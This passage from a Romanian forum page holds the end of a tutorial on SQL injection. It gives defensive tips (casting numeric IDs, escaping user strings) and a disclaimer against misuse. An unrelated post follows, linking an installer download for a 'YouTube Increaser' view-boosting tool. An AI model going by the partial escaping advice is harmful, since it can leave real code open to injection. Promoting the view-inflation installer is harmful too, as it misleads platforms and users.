acestea ar trebui aduse la tipul numeric: $id=(int)$id; 6) In cazul cînd în cererea SQL se utilizeaza date de tip sir de caractere primite de la utilizatori, înainte de a le plasa în cererea SQL acestea ar trebui prelucrate la simboluri speciale. Cea mai buna practica – este formarea expresiilor regulate. ------------------- Daca va descurcati cu limba engleza mai puteti citi si aici cateva chestii interesante despre SQL Injection. ------------------- Este strict interzis sa folositi cunostiintele dobandite din acest tutorial in scopuri rele. Nu sunt responsabil pentru ceea ce veti face cu aceste cunostiinte --------------------
  25. YouTube Increaser Download: http://www.tubeincreaser.com/TubeIncreaserSetup.msiOfficial Website: http://www.tubeincreaser.com/
×
×
  • Create New...